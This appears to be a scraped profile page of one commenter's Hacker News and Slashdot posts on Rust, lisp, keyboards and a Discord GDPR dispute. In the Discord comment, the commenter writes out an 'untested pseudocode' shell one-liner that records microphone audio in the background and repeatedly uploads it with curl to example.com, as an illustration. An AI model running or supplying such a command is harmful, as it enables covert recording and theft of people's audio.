ahungry
ahungry on Hacker News
Bravo - for these simple things, typing in a GPT prompt or search query is more work than the command.
Even things like "what flags to use with ffmpeg" are a shell reverse-history search away, assuming one has ever used them in the past.
I loved slitaz - got me into linux!
Posted by
ahungry on Saturday December 10, 2022 @10:06PM
from the ahungry.com dept.
perl6/rakudo has most the same convenience features, albeit a little less type checking
I've noticed that Rust is in an interesting spot - it has a lot of overlapping appeal with various groups.
- C/C++ developers like it as an alternative for low level languages
- Functional programmers like it because of it's functional features
- "Cargo Culters" / "Hot Language" / "Flavor of the Month" followers like it, as it's in vogue at the moment (this is the crowd that has likely shifted from various web/API scripting languages over the last decade - (php|ruby|python) -> nodejs -> rust)
However, as the article alludes to, for the third crowd, Rust is just likely not a great fit (even if it has a lot of neat features and introduces some great concepts others may not stumble on of their own accord) when your implementation doesn't do much beyond web dev/API/scripting purposes.
Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?
Did the users choose to install the Discord app (or run a random command?)
How are you supposed to confirm "user understanding"?
Does the program need to require a tutorial/training before it's being used?
A user's ignorance shouldn't be a software distributor's problem.
If the discord app didn't have a system tray, and hid it's process from the Process List someway, maybe you have a point - this is just ignorance across the board.
Something like:
nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done &
Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?
Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.
This was a trend in the early 2010s on a lot of Clojure projects
I believe homoiconicity is more related to the syntax than the underlying implementation - fans of homoiconic code use it to treat code as data (macros and eval) rather than to reason about performance concerns/having a transparency into the underlying implementation (see: Clojure).
Wrap the entire script in {}, otherwise a change to it will impact running instances (best case, causing an abrupt error).
Sometimes the infrastructure causes this. For a long time (and now?) AWS Api Gateway has a hard cap of 30 seconds, so the sum of all hops along the way need to remain under that.
yup, thats the appeal - in a multi language environment a common call, not having to futz with cargo run, npm run start, python3 -m something, etc
Compiles/transpiles into code that runs on a "host" language execution environment (nodejs, JVM, CLR) instead of it's own VM implementation, or native code.
In libjanet you can use a C call like janet_panic() that'll "panic" and throw an exception/error up in the active Janet runtime (so when something bad/unexpected happens in your C code you are providing an API to from Janet, you'd use this).
True, so more clicky than not clicky at all would put any clicky one in the "more clicky" category (blue/green/???) :)
The silver speed ones on this kraken keyboard aren't bad, but definitely take some getting used to (even resting idle fingers, I sometimes press the keys by mistake).
As noted on the article - looking for recommendations of nice 60% keyboards in the $100'ish price point range as well.
Something a little more clicky than brown switches, but perhaps not as much as a Unicomp, and in the 60% form factor.
Posted by
ahungry on Friday October 01, 2021 @11:16PM
from the ahungry.com dept.
I was really tempted to go into some pro-FP suggestions (in particular, about reducing some of the duplicity via compositional functions), but wanted to keep it to just the over-abstraction/if/else complexity topic.
Haha, good catch, I'm going to blame that on typing while tired
That makes sense if it was just a list of ingredients with an identical process in every recipe (in which case the ingredients are simply data) - it may not have been super clear in the article alone, but there was a difference in process between the peanut butter and the oatmeal raisin (think for instance, how many times the .add() was called between the two), which would mean the recipe is acting more like code.
Configuration as code can definitely work and make some things more clear (at least, until the point an edge-case has to be added to the core routines to account for a new/custom type of configuration process).
Using a lisp tends to treat code as data, which solves all the problems in one fell swoop.
Posted by
ahungry on Tuesday November 17, 2020 @10:56PM
from the ahungry.com dept.